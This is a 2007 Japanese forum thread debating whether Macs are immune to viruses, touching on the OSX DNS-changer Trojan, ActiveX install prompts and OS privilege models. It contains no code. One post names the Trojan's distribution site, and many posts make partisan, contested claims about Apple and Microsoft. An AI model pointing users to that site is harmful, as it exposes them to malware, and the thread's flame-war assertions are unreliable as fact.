その瞬間に感染が成立する。
Mac(OSX)はシステム絡みのフォルダは”なんかインストールしてます?”って
ユーザーの想定外のタイミングでパスワード聞いてくるから、
ファイル偽装で実行ファイルを実行させてもユーザーが弾いちゃう。

”あえて”やろうとするとユーザーにインストールを促す偽装アプリ
(マルウェア)しかないわけで。
でもアレって、セキュリティ会社が必死に「ウィルス」つってるけど、
結局、自己増殖も感染性もないし”流行する”ってもんじゃないんだよね。


633:名称未設定
07/11/01 23:47:14 haGVDrUO0
今回のはウイルスではない
トロイの木馬だね

Macはウイルスに強いね

634:名称未設定
07/11/02 00:29:24 qLwglZA/0
>>632
どこの会社がウィルスって言ってるの?

635:名称未設定
07/11/02 07:36:03 Fcc29UZp0
>>634

>>629 の ITPro.

636:名称未設定
07/11/02 12:52:54 7FMwV5kT0
セキュリティをやってるやつらは狂っている

637:名称未設定
07/11/02 14:18:58 TkUfodJx0
OSのセキュリティホールをついてくるタイプのウイルス
これは実は対処は簡単なんだよね。
OSのアップデートをきちんとやるだけ。

一番問題なのは、ユーザーをだましてインストールさせる
タイプのウイルス。

こればかりは防ぎようが無い。
どうするMac?

638:名称未設定
07/11/02 14:50:37 77+ABUw4O
>627

これって、振り込め詐欺が増えてる→だから電話は危ない、みたいな論理だなw

639:名称未設定
07/11/02 15:06:42 ihc29a7c0
「はたけ」を変換してフリーズするのは
ネットワークを介して変換用語を管理しているからだよ。
Macというよりもネットの問題。
分かり易く言うとことえりもiTunes化したってこと。
今後は全てこうなっていく。
プライベートも仕事もすべてアップルの手の中。

640:名称未設定
07/11/02 15:06:54 2+nNaZxP0
というか、ユーザーをだましてインストールさせるなら
どのOSでも防ぎようが無いだろう

Mac使ってる連中は他のOSの連中より騙されやすい

とかいう統計でもあるなら別だけどw

641:名称未設定
07/11/02 15:31:58 KjiMSSwI0
>>637
きちんとアップデートを出来るOSならいいんだけどねえ・・・

例えば、WindowsXPは2014年まできちんとアップデートできる。
Windows2000もサポート終了と言いつつも、セキュリティーホール
対応は未だ続いている。

一方、WinXPに近い時期に出たMacOSXは・・・
有料でOSを買い換えないと・・・

642:名称未設定
07/11/02 16:06:53 7FMwV5kT0
役立たず(活躍する機会がないw)の
ウイルス定義代を毎年払うなんで馬鹿げてる。
普通なら呪うねw

643:名称未設定
07/11/02 16:15:17 Mhoclc4i0
2014年になるまでまともに使えないVistaと一緒にしないでくださいw

644:名称未設定
07/11/02 16:47:11 l41dT8lO0
てか自宅のWindowsマシンはWin95から一度も感染したことないんだが。
もちろんウィルススキャンでチェックして見つからなかったと言うこと。
お布施するのもアホらしいからもう無料のウィルス対策ソフトに切り替えたよ。

645:名称未設定
07/11/02 17:11:36 Y+YjNG/G0
>>644
Win用だとKingsoftがfind.2ch提携で出してたんだっけ。無料の奴

646:名称未設定
07/11/02 19:16:44 TkUfodJx0
>>642

さあMacをのろってください。

「アダルト動画を無料でどうぞ」、Macユーザーを狙う新ウイルス
URLリンク(itpro.nikkeibp.co.jp)

647:名称未設定
07/11/02 19:58:04 kNajvmzu0
>>637
簡単なことだ。
ユーザーを増やさないことでウィルス作者の目を向けさせない。
これほど確実な方法が他にあるだろうか?いやない。

648:名称未設定
07/11/02 21:36:37 DUagZliJ0
今回のはウイルスではない
トロイの木馬だね

Macはウイルスに強いね

649:名称未設定
07/11/02 21:57:27 KjiMSSwI0
>>643
でも、マイクロソフトは、XPに完全に切り替わっている現在ですら、Windows2000の
パッチを出しているんだけど・・・

で、実は、Windows98もこっそりパッチがでることもあったり・・・

650:名称未設定
07/11/02 22:06:30 llm0yp8G0
病弱だと何かと大変だな

651:名称未設定
07/11/02 22:11:16 eynBSHpr0
セキュリティーの低いwindowsは大変なんだね

652:名称未設定
07/11/02 22:13:49 lv/3DPEZ0
信者って、マックユーザーにとっても害毒だな・・・

アップル自身もMacOSXに欠陥があることを認め、定期的なパッチを公開しているというのに・・・
放置されているバージョンが存在するのも事実だし・・・

653:名称未設定
07/11/02 22:15:00 KjiMSSwI0
>>650
>>651
妄想の世界で生きるのは楽しいですか?


654:名称未設定
07/11/02 22:17:14 eynBSHpr0
すぐ釣られるなお前らw

655:名称未設定
07/11/03 05:28:37 Qc1jOw6/0
可能ならオーエスを変えることをお進めしますwwwwwwww

656:名称未設定
07/11/03 09:25:14 Hd0kt+b90
AppleのディスカッションボードのMac OS X v10.5 Leopard(旧フォルダ)って
名前間違ってるだろ?

不具合情報フォルダじゃんかw

Mac OS X v10.5 Leopard(旧フォルダ)
URLリンク(discussions.info.apple.co.jp)


大量の不具合情報を隠蔽しようとしたから
こうなってしまったんだな。

657:名称未設定
07/11/03 10:34:26 4PkpWpar0
アンチウイルスがかなり普及しているWindowsを狙うより
ウイルス対策がおろそかになっているMacやLinux狙った方が
被害多いのでは?

658:名称未設定
07/11/03 11:22:00 un0bg5Hp0
Unix系なOSだとwinみたいなウイルスは簡単につくれないんだよ

659:名称未設定
07/11/03 11:35:35 A6UWxLh80
>>658
またアホマカが無知を晒してるよ・・・
Windowsにウィルスが蔓延している理由は主に三点
・バグ・セキュリティホールが多い
これは時間の経過と共にXP, Vistaで改善されてきた。

・(スキルの低い)ユーザーの絶対数が多い。
これについては言わずもがな

そして一番でかいのが
・運用が悪い
はっきり行ってこれに尽きる。じゃあユーザーの責任かといえばそうではなく
MSがそういう運用を推奨どころかでそう誘導してしまっている為。
この点でMSは死ぬほど叩かれるべきだが

>Unix系なOSだとwinみたいなウイルスは簡単につくれないんだよ
こんなよくわかっていないけどとりあえず言ってみましたという理由では全くないんだよ。

660:名称未設定
07/11/03 13:38:24 u1lQIvPP0
Unix系な管理者とユーザー権限が厳格に分離されているOSだと
winみたいなみんな管理者でログオンする楽勝な環境で動く
ウイルスは簡単につくれないんだよ

661:名称未設定
07/11/03 13:40:09 TpSnYR5p0
660 名前:名称未設定[sage] 投稿日:2007/11/03(土) 13:38:24 ID:u1lQIvPP0
Unix系な管理者とユーザー権限が厳格に分離されているOSだと
winみたいなみんな管理者でログオンする楽勝な環境で動く
ウイルスは簡単につくれないんだよ

662:名称未設定
07/11/03 13:49:06 un0bg5Hp0
windowsのフォルダ構造自体がウイルスにかかりやすいんだよ


663:名称未設定
07/11/03 14:02:44 q8k3pD1J0
今回のはウイルスではない
トロイの木馬だね

Macはウイルスに強いね

664:名称未設定
07/11/03 14:04:55 AFWzeieX0
Windowsはレジストリで一元管理しているシステムを何とかしないと

665:名称未設定
07/11/03 15:45:48 Uvl9ueVE0
>>659
なあ。「管理者がログインしているとプログラムがシステムフォルダを
勝手に弄っても一切警告なんてしねぇ。ってか警告システムなんて無ぇ。」
って糞システムを「運用が悪い」って擁護すんのはいくらなんでも無理があんぞ。
信者はどうしようもねぇな。

666:名称未設定
07/11/03 16:29:00 bsTv07bG0
windowsをかばう信者がいるんだな

667:名称未設定
07/11/03 17:01:11 2zU7nrNY0
よく分からないんだが、LeopardではClamAVが標準搭載されているの?
 URLリンク(journal.mycom.co.jp)
そもそもDarwinが何だか分からんので。

668:名称未設定
07/11/03 17:16:10 d8Boxq/O0
>>665
そのことでウィルスが蔓延した直接の原因じゃないんだよ。
話はシステムが糞かどうかじゃなくウィルスがなぜ蔓延しているのか。だ。
頭使えよヴァカ。

669:名称未設定
07/11/03 17:23:02 Hd0kt+b90
> ウィルスがなぜ蔓延しているのか。

それを議論するのなら、
今現在どんなウイルスが蔓延しているのかを
調べる必要があるな。

で、どんなウイルスが蔓延しているの?

670:名称未設定
07/11/03 18:39:57 md/RFT6Q0
エロゲーウイルスが流行ってんじゃん。
Windowsユーザーはみんなエロゲー大好きだからすぐ引っ掛かる。

671:名称未設定
07/11/03 20:44:15 Hd0kt+b90
なにいってんのこいつ?

672:名称未設定
07/11/03 21:09:56 u408gXTr0
昔は有能なユーザーが多かったMacも、今やオツムに傷害を抱える信者しか
残ってないんだろうねえ・・・

いくら都合の悪い真実の隠蔽を繰り返しても、アップル自身は正常な企業として
再生を目指しているから乖離が広がる。

信者がPowerPCの絶対的な正義を説いている間に、アップルはただのPCである
インテルMacの開発を進め、OSXに完全無欠な究極OSの幻想を描いている間にも
パッチを発行する・・・

そして、金のない信者を撲滅するために、古いOSの欠陥は放置し、金を要求する・・・

673:名称未設定
07/11/03 21:19:21 Uvl9ueVE0
ポエム(笑

674:名称未設定
07/11/03 21:25:26 rbMGeeOC0
>>672
> そして、金のない信者を撲滅するために、古いOSの欠陥は放置し、金を要求する・・・

うっは、そのまんまVistaのことかと思う内容だw


675:名称未設定
07/11/03 22:25:25 lpOTY6Um0
一定以上の知能があればプラットフォーム問わずウィルスなんてかからないよ。
逆に特定のプラットフォームがどうのと大騒ぎしている奴は(ry

676:名称未設定
07/11/04 00:19:48 eFnppAS80
わかるわかる

677:名称未設定
07/11/04 12:35:37 f3TT1Oq+0
ということは、Windowsユーザーは一定の知能に達していないユーザーが沢山いると。

678:名称未設定
07/11/04 13:01:47 xqWm14MI0
ドザがわんさか釣れますよwwwww

679:名称未設定
07/11/05 00:47:44 aDUPDC6G0
残念つれたのはマカだけだった。

680:名称未設定
07/11/05 14:19:30 ZE6do8bb0
つーか、ドザってホント、憶測で物事をはかるからな。
妄想の中から出てきてほしい。

681:名称未設定
07/11/15 02:32:30 4L3mIQs00
アップルだけだぞ。これほど多量の前科があるのは。 他社とは桁違いの不祥事の量だ。
注目すべきは不具合の多さとその対応の遅さや酷さ、放置して逃げたものもある。 つまり常習犯だよ。
他社とは違うのだよ他社とは。アップルなんかと一緒にされちゃどんな企業もかわいそうだ。

Yosemite前期型 → ATA部位に不具合 → 放置
PowerBook G3 Series → アダプタから発煙の危険性 → 期間限定無償交換
Lombard → メモリモジュールの不具合 → 放置
Pismo前期型 → ロジックボードの虚弱体質 → 放置
Cube → 電源部から発火のおそれ → 期間限定無償修理+筐体のウェルドクラック(熱収縮ヒビ割) → 金型の跡と放置
初代AirMac → コンデンサ虚弱体質で寿命が一年説 → 放置
eMac&箱iMac → CRT画面が上下からかなりの割合で縮む → 放置+グラボがへたれる虚弱体質、上記と関連? → 放置
DualUSB他 → グラボがあぼーんする時限爆弾 → 期間限定無償修理(何度やっても爆発)
初代Titanium → バッテリが落下する → 期間限定無償処置?+鬼発熱で膝の上で使うと低温やけど、高温による変色 → 放置
初代大福 → 液晶モニタが数センチ斜める → 放置
TitaniumP88"以降? → ホワイトスポットで一部液晶がヘンになる → のらりくらり対応
Gigabit Ethernet → 特定条件下でカーネルパニック続発 → 原則放置
Mirrored Drive Doors → ファンが爆音 → ファームウェア&静粛ファン送付
FW800 → メモリモジュールの不具合の可能性 → 完全無視
iBook→バッテリー爆発
PowerBook G4→バッテリー爆発
sawtooth→FWのプラグ&プレイの突入電流でFW死亡→放置
iMac G5 → 奇声を発する → 放置+ コンデンサ潮吹き+熱設計ミスにより常に超高温動作→熱暴走=短命化
iPod → ウィルス混入+爆発+バッテリー持続時間を本来より長く表示する嘘+液晶傾き+クリックホイールの膨らみ
MacBook→ 充電機能の不具合でバッテリー爆発+突然電源が落ちる+アダプターが発火+謎の黄ばみ+謎のひび割れ+訴えられるほど酷い糞液晶

682:名称未設定
07/11/15 03:59:34 JLX7lxtN0
ウィルスの根本的な狙いはソフト会社の信頼を失わせることだから
ソフト数がないMacを狙うメリットはない

683:名称未設定
07/11/15 04:01:55 s6ZpZ9980
Macユーザーを狙うウイルスの亜種が続出
URLリンク(itpro.nikkeibp.co.jp)

亜種を9999まで確認
URLリンク(www.virustotal.com)
URLリンク(www.virustotal.com)

zlob同様サイズを少しずつ変えてスキャナをすり抜けさせている模様
というか同じ組織がやってる?

windows版は今繋がらないからよくわからないが1000.exeを確認
zlob同様DNS CHANGER

とても手に負える代物ではない…
URLリンク(www.itmedia.co.jp)
Mac攻撃は一過性で終わらず

Macを狙った本格的なマルウェア攻撃が初めて発見された問題で、セキュリティ
企業のF-Secureは11月6日、この攻撃は一過性のものではないようだと伝えた。

F-Secureによると、Macを狙った問題のトロイの木馬は、少しずつ手を加えた
バージョンが公開され続けているという。

攻撃を仕掛ける側は、Windowsに加え、Macを標的とした攻撃に本腰を入れて
いるようだとF-Secureは解説。攻撃がすぐにやむ気配はないとみている。

Sunbelt SoftwareもF-Secureのブログを引用し、この見方に同意している。
また、McAfeeのブログでも今回のトロイの木馬について、クリック詐欺や
アフィリエイトの売り上げ乗っ取りといった違法行為を通じ、金銭をだまし
取ることを狙ったプロ集団が仕掛けたものだと分析している。

684:名称未設定
07/11/15 04:06:01 s6ZpZ9980
>>682
残念だったな

685:名称未設定
07/11/15 05:22:17 6+H9wrOu0
Macに感染するトロイの木馬、配布サイトがまた出現 - ITmedia News
URLリンク(www.itmedia.co.jp)

注意 注意
問題のサイト//zangcodec.net/index.php

突撃してダウンロードしてみたがサイトエラー

686:名称未設定
07/11/15 05:41:52 0OuJa4Xx0
ブログで伝えた。
ブログで伝えた。
ブログで伝えた。
wwwwwwwwwwwwwwwwwwwwwwwww

687:名称未設定
07/11/15 08:11:14 3jRr32UQ0
Macってウイルスが無いんだね

688:名称未設定
07/11/17 11:21:45 Dx94I4P10
>>685
ダウンロードできたけどexeファイルだからwin版だよね。
どこかにmac版がないかな?

689:名称未設定
07/11/18 12:57:16 2nzXta330
>>683
>zlob同様DNS CHANGER
よく分からんが、ipfwでUDPの53の宛先を本来のDNSサーバーのアドレスに指定して、その他のアドレスはDenyに
しておいても、すり抜けられてしまうのだろうか?

690:名称未設定
07/11/24 10:49:35 l9OCLu/r0
ho

691:名称未設定
07/11/24 13:22:38 WXoV64/C0
超デマ。
.dmgを.exeにかえたMac用、実質どのマシンでも発症しない無理
起動しないw、起動させたオマエはテロリスト。気をつけろw


692:名称未設定
07/11/24 21:49:32 WXoV64/C0
セキュリティをやってるやつらは本当に狂っているよね

693:名称未設定
07/11/25 00:56:59 nj5gC/RA0
結局バカがパスワード聞かれて素直に書き込まない限り
Macは安全と言うことでいいんですよね?
しかも拡散はしないから被害は広がらないと
流石Macですね

694:名称未設定
07/11/25 14:23:51 E5Fz/ClY0
クリックしなくてもシステム乗っ取り:マルウェアが有名サイトに続々侵入URLリンク(wiredvision.jp)

ロサンゼルスのITディレクター、John Mark Schofield氏は、Canada.comの閲覧中に
このマルウェアに出くわした。Schofield氏は、自分がそれほど深刻な被害を受けなかったのは
『Mac OS』搭載マシンを使っていたからだと考えている。

「私の感触では、もし『Windows』マシンを使っていたらもっと酷い目にあっていただろう。
マルウェアをインストールされたかもしれない。でも実際はブラウザーを乗っ取られただけだったので、『Firefox』を終了するだけで直った」とSchofield氏は言う。


695:名称未設定
07/11/25 18:42:51 rugk92Km0
>>694
なんかわざとらしいタイトルだなぁ。
動画見たけど、しっかりクリックしてるじゃん。

ようするに、Windowsのダイアログ風の画像を表示する
HTML+JavaScriptでだましているだけなんだから、
その気になれば、Mac版だって作れるよ。

Safariで表示されるダイアログの画像を使って作ればいいだけなんだから。
パスワード入力する必要があっても、だまされている上意味ないしね。

696:名称未設定
07/11/26 15:55:43 LxrupNSj0
そうか、じゃおまえつくってみろ。試してやるから。

697:名称未設定
07/11/27 06:48:47 V0WI4PNB0
総会屋の気違い
「嘘」は「嘘」と言わなきゃだめだろw
「嘘は言っていない!」なんて顔真っ赤して叫ばれてもねぇw

698:名称未設定
07/11/27 15:37:31 VD65m5tB0
ふ・・ん

699:名称未設定
07/12/09 03:48:50 YGrkQm0W0
アップルだけだぞ。これほど多量の前科があるのは。 他社とは桁違いの不祥事の量だ。
注目すべきは不具合の多さとその対応の遅さや酷さ、放置して逃げたものもある。 つまり常習犯だよ。
他社とは違うのだよ他社とは。アップルなんかと一緒にされちゃどんな企業もかわいそうだ。

Yosemite前期型 → ATA部位に不具合 → 放置
PowerBook G3 Series → アダプタから発煙の危険性 → 期間限定無償交換
Lombard → メモリモジュールの不具合 → 放置
Pismo前期型 → ロジックボードの虚弱体質 → 放置
Cube → 電源部から発火のおそれ → 期間限定無償修理+筐体のウェルドクラック(熱収縮ヒビ割) → 金型の跡と放置
初代AirMac BaseStation→密閉構造で放熱が悪くコンデンサの寿命低下
eMac&箱iMac → CRT画面が上下からかなりの割合で縮む → 放置+グラボがへたれる虚弱体質、上記と関連? → 放置
DualUSB他 → グラボがあぼーんする時限爆弾 → 期間限定無償修理(何度やっても爆発)
初代Titanium → バッテリが落下する → 期間限定無償処置?+鬼発熱で膝の上で使うと低温やけど、高温による変色 → 放置
初代大福 → 液晶モニタが数センチ斜める → 放置
TitaniumP88"以降? → ホワイトスポットで一部液晶がヘンになる → のらりくらり対応
Gigabit Ethernet → 特定条件下でカーネルパニック続発 → 原則放置
Mirrored Drive Doors → ファンが爆音 → ファームウェア&静音電源送付
FW800 → メモリモジュールの不具合の可能性 → 完全無視
iBook→バッテリー爆発(アップルボム)
PowerBook G4→バッテリー爆発(アップルボム)
PowerMac G4初期型→DualProcessorに未対応
sawtooth→FWのプラグ&プレイの突入電流でFW死亡→放置
iMac G5 → 奇声を発する → 放置+ コンデンサ潮吹き(アップルボム)+熱設計ミスにより常に超高温動作→熱暴走=短命化
iPod → ウィルス混入+爆発(アップルボム)+バッテリー持続時間を本来より長く表示する嘘+液晶傾き+クリックホイールの膨らみ
MacBook→ 充電機能の不具合でバッテリー爆発(アップルボム)+突然電源が落ちる+アダプターが発火+謎の黄ばみ+謎のひび割れ+訴えられるほど酷い糞液晶

700:名称未設定
07/12/09 10:35:03 O+R4s3Xz0
Macはウイルスにかからないというから、
Mac用にウイルスを作ってみたんだが、
普通にかかったよ。

701:名称未設定
07/12/09 23:50:04 B7X8caTf0
>>700
じゃ、とりあえず広めてみてくれ

702:名称未設定
07/12/09 23:55:38 O+R4s3Xz0
広めたら犯罪だし、
広めようにも人が少ないからなぁ。

703:名称未設定
07/12/10 00:34:10 Gy0a+3Nv0
そして MacOS X にはウイルスが無い、と

704:名称未設定
07/12/10 02:54:41 +M4bux0P0
「かからない」と「無い」は、似ているようでぜんぜん違うな。

705:名称未設定
07/12/10 21:03:02 mObc9dSi0
>>704
結果は同じだろ。

706:名称未設定
07/12/11 00:49:48 ICp+C/6p0
どっちにしてもウソだし。

707:名称未設定
07/12/12 16:18:26 v8ZY+scV0
どっちにしてもウイルスで困るのが Windows、困らないのが Mac ということで FA

708:名称未設定
07/12/12 18:58:29 pQTl+n8w0
それ以前に「Windowsがウィルスに対してノーガードで一般的なOSとしては
むしろ例外的に弱い部類である」って大前提をドザがぜんぜん理解しないのが困る。

Macが強いんじゃない。 Windowsが恐ろしく脆弱だ(だった?)のをまず理解しろと。
Vistaはやっと堅くなったはずなんだが一向に普及する様子がねぇし・・・ったく・・・

709:名称未設定
07/12/12 20:30:49 Vgc3KW5Y0
ほかのOSにウイルスが少ない状態で、
ウイルスに対する強さなんて比較できるわけが無いだろう。

710:名称未設定
07/12/13 03:37:01 16oFca860
昔は”ネットワーク”なんて特殊なものは大企業か大学にしかないものとされていて。
一台一台が独立してる『パソコン』にセキュリティなんておおげさなものはいらない。
と考えられていた。
だからMS-DOSもWindows95もMacOSも昔はぜんぶノーガード。
大学や大企業でコンピュータを共有するUNIXだけがそういうことを考えたOSになっていた。

で、MSは企業や大学など向けにUNIXに対抗しうるセキュリティと安定度を持ったOS
としてWindowsNTを開発する。Windows2000、WindowsXPもこの流れに属する・・・

・・・んだが、ぶっちゃけた話。
”一般向けのXPでセキュリティ設定なんかさせたらめんどくさがれるから全部オフ。なし!
 やりたい人だけが設定はできるようにしとく。そういうことが必要な企業や大学は
WindowsServerを高い値段で用意してるから法人はそれを買わせる。無問題!”
ってやったのよ。
そして、MSの普及戦略でユーザーは知らなくてもネットから勝手にプログラムが
ダウンロードされてインストールされるActiveXやらをつけて”誰でも使えるOSですよー”と。
XPになってもウィルス食らいまくって、ノートンやらウィルスバスターやらが必須になってんのは
このせい。

XPだってセキュリティが!って強弁するドザが、いつも力なく消えていくのは
あるのはあるけど、あるだけで事実上使えるような設定になっていないから。

VistaはあんまりにもXPで酷い目に遭ったからMSがガチガチにセキュアに造ったらしいのだが
そのせいで(またその操作性がこなれてないらしく)いまいち不評なのは知っての通り。

711:名称未設定
07/12/13 03:42:46 F016O8Qy0
事実誤認だな。
ActiveXは勝手にインストールされることはない。

712:名称未設定
07/12/13 04:19:52 8o9LwMCd0
Macの方はOS9まではノーガードOS。
一方、UNIXの流れを汲むLinuxはガチで固いOS。

で、次期OSのOSXをどうするか?って時にジョブスがなにをトチ狂ったのか
「次のOSXはUNIXベースにします!」ってやりやがって。
正直、アホみたいにカスタマイズのフレキシビリティが高かったMacOSと
UNIXはもう水と油というか、どこをどうやればUNIXベースになるねん!って代物で。

でも、まあ、なんとかしちゃった。なっちゃった。
Macの皮を被ったUNIXで、んーそうだなぁ旧MacOSから使ってる奴からすると
いまだいたい85%ぐらいMac(笑

で、いろいろ力業でUNIXにMacの操作性をかぶせたので、中身UNIX。
ちゃんとガチの堅さを全部使わせつつMacっぽくもなってる。
だから大学とかで一人のユーザーアカウントがボコられても、大学のマシン全体が
落ちたりしないような堅さをいまのOSXはそのまま受け継いでいる。

だからタイトル通りに「Macはウィルスにかからない」ってのは煽りで言い過ぎではあるけれど
実用上、他のアンチウィルスソフトの類を常備しなくても通常の使用でいきなり
知らない間にシステムになにかが感染したりはしない。
明示的にユーザーがシステムにわざとなにかをインストールするのだけが脅威となる。

そういうマルウェアを”ウィルス”と言うのは、まあ最近のセキュリティソフト会社が
必死だとは言え、ちょっと定義からは外れている気がする。ウィルスで一番おそれられる
”感染が広がる”性質のものではないから。だからそういう意味では「Macはウィルスにかからない」
(マルウェア対策は個人的な安全対策としてはアリだとはおもうけれども)

713:名称未設定
07/12/13 04:38:45 8o9LwMCd0
>>711
もっと多いかな?と思ったけど思ったよりActiveXの穴を使うウィルスは出てなかったね。
大きいのはREDLOFとかぐらいかー 進入するのにActiveXの穴を使ってるから
「ホームページをみるだけで感染」&「感染したらウィルスメールをばらまき」って奴だ。
ActiveXは感染ルートだからマルウェアとか単体型が多いかな。

それよりIEとOutlookの穴でメールプレビューしただけで感染&ばらまきの
KLAZEやNimda、SIRCAMの方が痛かったから、むしろ標準機能です。って
IEをつけてNetscapeつぶしをしたこととかを・・・ってその辺はMacも
safariとmailが今じゃ標準だからな(笑

やっぱりせっかくWindowsにもユーザー権限ってもんがあるのに
ログインしてる人=管理者として設定させたあげく、メール開いただけで
パソコンがウィルスで荒らされて一からインストールしなおしになるような状態を
基本設定にしたMSがアレだと思うぞ。 そこは本当はユーザがMSに怒るとこだ。

714:名称未設定
07/12/13 15:37:25 R4R1f10B0
ActiveXって「署名確認してくれYO」ってダイアログが出て、
OKすりゃインスコする仕組みが付いただけで、安全宣言したアレだろ?

オレオレ証明書でさえOKしちゃうユーザーが多い状況で、勝手にインストールされることはない?

まあ、ユーザーの操作が原因でインストールされるから勝手にインストールされてないとも言えるが、
無意識にOK押しちゃってインストールされるのは勝手にインストールされるのとほぼ同じじゃね?

さらにActiveXはAPIを直接いじれるわけで、OSの書き換えまで出来ちまう。

せめて、インストール時はユーザーにパスワード入力をさせる程度の対応が出来なかったものか疑問だ。

715:名称未設定
07/12/13 20:49:43 F016O8Qy0
それをいったら、俺を信じてパスワード入れてくれよ。
とダイアログを出すのもあまりかわらないんだけどな。

716:名称未設定
07/12/13 21:17:36 nrJLXOLG0
ActiveXのまずいところは(実装前にもさんざんセキュリティ関係者にツッコまれてたが)

「ちわー三河屋でーす」「この人は三河屋だという確実には言えません 入れますか?Y/N」

ってとんでもない選択肢を表示してくれることで。
マイクロソフト的には「これでYを選ぶのはユーザーの責任」らしいが、
ヲイヲイ、そこは「三河屋と名乗る人が来てますが、証明がないのでこのルートからは入れません」だろう。と、
案の定「数撃ちゃぜったいひっかかるバカがいる」の法則でスパイウェアがActiveXコンポーネントを使いまくり。
(笑っちゃうのがブラクラ風に「はい」を選ぶまでダイアログを出し続けてインストールを狙うサイトまでw)

そこに輪をかけて劣悪ベンダーが企業だまして「うちの会社はオレオレ証明書持たせてるんで
”こいつは三河屋じゃないかもしれません”って出ますが無視して入れてくださいw」とか書かせる始末。
高木浩光@自宅の日記「こんな銀行は嫌だ」
URLリンク(takagi-hiromitsu.jp)

もうなんつーか、グダグダ。

717:名称未設定
07/12/13 21:22:36 F016O8Qy0
「ちわー三河屋でーす」「この人は三河屋だという確実には言えません 入れますか? パスワード入力」

これと何が違うのかわからんw

718:名称未設定
07/12/13 21:56:52 nrJLXOLG0
MacはActiveXは普通ないので「ちわー三河屋でーす」「表へ廻ってください」
で、正面から正式にインストール手順を踏む。(その際パスワード)

Windowsは”ユーザーが便利なように”(MS談)裏口に「はい/いいえ」ボタンがついてて
裏口でだれかが「ちわー三河屋でーす」って言って、はいを選んだら即死。中荒らされ放題。

違いがわからないとな?

719:名称未設定
07/12/13 22:06:09 F016O8Qy0
えぇわかかりませんねぇ。

信頼したのなら、yだろうがパスワードだろうが
どっちみち入れるでしょうが。

720:名称未設定
07/12/13 22:12:36 F016O8Qy0
なんどもパスワード入れさせていると
麻痺して、アプリをインストールするときは
パスワードを入れるもんと思って
なんでも入れるようになるかもね

721:名称未設定
07/12/14 01:10:14 Ov2cArml0
ダイアログで「はい」  はいと言ったら契約成立
パスワード入力  署名(はんこ)で契約成立
ぐらいの違いはある罠。

722:名称未設定
07/12/14 01:23:08 Ov2cArml0
>>720
ActiveXのダイアログが出たからって、アプリをインストールしようとしてると
わかるヤシって知識があるヤシだけだろ。

ダイアログは一般ユーザー権限で普通の処理を実行してる時も出るものだし、
知識がないヤシはダイアログを斜め読みして「はいをクリックした方が動きそう」
って思ったら「はい」をクリックしちゃうだろ。

パスワードを要求される=何か物々しい作業をしてる
って説明さえしっかりしてれば、「ふと立ち止まって考える」とか、
「詳しい人に聞く」とかの対応をするだろう。


723:名称未設定
07/12/14 03:57:29 9r0Utihh0
Windowsユーザーが。ってわけでもなくMacでもユーザーの平均レベルは
おんなじようなもんだろうけど、>>719みたいに

ネットで証明書と暗号鍵を受け付けてサイトの信頼性を高めるってシステムは
WinもMacも共通で持ってる。
でも、WinのActiveXは当初からセキュリティの専門家に問題視されていたように
証明書が正しかろうとぁゃιかろうがユーザーに受け付けるか?って聞いてきて、
なおかつ受け付けるを押したとたん、

”自分のマシンにネット上から任意プログラムをインストールされる”

って代物なのをちゃんと理解していないのに、それをONにしっぱなしでネットやってる。
ってのが問題なんだよなぁ。 Windows。

ポイントはMac(というかWinows以外のOS)はまず、そんなどこの馬の骨とも
わからないサイトから勝手にプログラムをインストールさせるシステムは持っていない。
(だから、まずActiveXと同等の脆弱性を持った穴がそもそも存在しない。
 ActiveXについて語るときに「Macだって~」もなにも、その穴はWindowsだけが
 持つ固有のセキュリティの問題であって、他のOSはその問題を持っていない)

なんで、そんなもんがWindowsにあるか。つったらPush技術の負の遺産というか、
一時期、いちいちめんどくさいプラグインの類は人が手動でインストールするのではなく
ネットで認証して”確実なサイト”から自動でダウンロードからインストールまで
やってくれるようにすれば便利じゃね?つか、それがこれから主流っしょ?って
MSの中の人が考えたから。

結果は”確実じゃないサイト”が素人が間違ってボタンを押してスパイウェアを入れさせて
くれるように「このサイトを見るにはここをクリック」だの嘘八百でいかに「OK」を
押させるか、って格好のセキュリティホールになってくれた。
そしてそれを恐ろしいことに>>719を含むWindowsユーザーはほとんど知らない。
あまつさえ他のOSもこんなんでしょ?と思ってるっぽいという・・・


次ページ
最新レス表示
レスジャンプ
類似スレ一覧
スレッドの検索
話題のニュース
おまかせリスト
オプション
しおりを挟む
スレッドに書込
スレッドの一覧
暇つぶし2ch